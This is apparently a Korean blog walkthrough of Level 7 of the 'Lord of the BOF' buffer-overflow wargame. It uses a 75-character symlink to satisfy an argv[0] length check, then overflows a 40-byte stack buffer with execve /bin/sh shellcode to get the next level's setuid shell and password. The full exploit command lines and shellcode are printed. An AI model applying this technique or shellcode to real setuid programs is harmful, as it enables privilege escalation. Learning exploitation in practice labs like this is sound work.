-
[LEVEL7] (darkelf -> orge) : check argv[0]Wargame/LordOfTheBof (redhat) 2013. 6. 27. 16:45
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); }
이제는 argv[0]도 검사한다. (argv[0]은 파일 명이다)
말인즉슨, 파일명이 77자가 아니면 프로그램이 종료된다는 뜻.
조금 쌩뚱맞다고 생각할 수도 있지만 이는 다음 LEVEL을 풀기 위한 몸풀기이니 여유롭게 풀어보자.
2. argv[0]을 77자로...
여러 방법이 있지만 다음 LEVEL을 위해 심볼릭 링크로 문제를 풀도록 하겠다. (무슨말인지는 다음 LEVEL을 보면 안다)
우선 파일명(argv[0])을 변경하기에 앞서, 이전 LEVEL과 마찬가지로 shellcode가 들어갈 argv[1]의 주소를 출력하도록 소스를 변경하고, 컴파일 하자.
[darkelf@localhost darkelf]$ cp orge.c orga.c
[darkelf@localhost darkelf]$ vi orga.c
// ...중략... strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); printf("%#x\n", argv[1]); // <- 이 한줄을 추가 }
[darkelf@localhost darkelf]$ gcc -o orga orga.c
이제 파일명(argv[0])을 심볼릭 링크를 걸어서 변경하자.
경로를 알려주는 ./ 가 포함되기 때문에 2자를 뺀 75자로 심볼릭 링크 파일을 만든다.
[darkelf@localhost darkelf]$ ln -s orga `python -c "print 'A'*75"`
[darkelf@localhost darkelf]$ ls -l
total 40
lrwxrwxrwx 1 darkelf darkelf 4 Jun 27 16:26 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> orga
-rwxrwxr-x 1 darkelf darkelf 12736 Jun 27 16:19 orga
-rw-r--r-- 1 darkelf darkelf 825 Jun 27 16:19 orga.c
-rwsr-sr-x 1 orge orge 12700 Mar 1 2010 orge
-rw-r--r-- 1 root root 800 Mar 29 2010 orge.c
이제 이를 실행해 shellcode가 있는 argv[1]의 주소를 구하자.
[darkelf@localhost darkelf]$ `python -c "print './' + 'A'*75"` `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
0xbffffb9d
Segmentation fault
이제 출력된 argv[1]의 주소 0xbffffb9d을 이용해 Exploit을 진행하자.
3. Exploit
사용할 shellcode는 아래와 같다. (총 25 Byte)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
아래는 최종 구성이다.
shellcode
NOP
SFP
RET
25 Byte
15 Byte
4 Byte(NOP)
4 Byte
40 Byte
원본파일인 orge또한 심볼릭 링크를 만든 뒤 Exploit을 진행하자.
[darkelf@localhost darkelf]$ ln -s orge `python -c "print 'B'*75"`
[darkelf@localhost darkelf]$ bash2
[darkelf@localhost darkelf]$ `python -c "print './' + 'B'*75"` `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\x9d\xfb\xff\xbf'"`
1�Ph//shh/bin��PS��1Ұ
�����������������������
bash$ my-pass
euid = 507
timewalker
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL9] (troll -> vampire) : check 0xbfff (0) 2013.06.28 [LEVEL8] (orge -> troll) : check argc (0) 2013.06.27 [LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27 [LEVEL5] (orc -> wolfman) : egghunter + bufferhunter (0) 2013.06.27 [LEVEL4] (goblin -> orc) : egghunter (0) 2013.06.26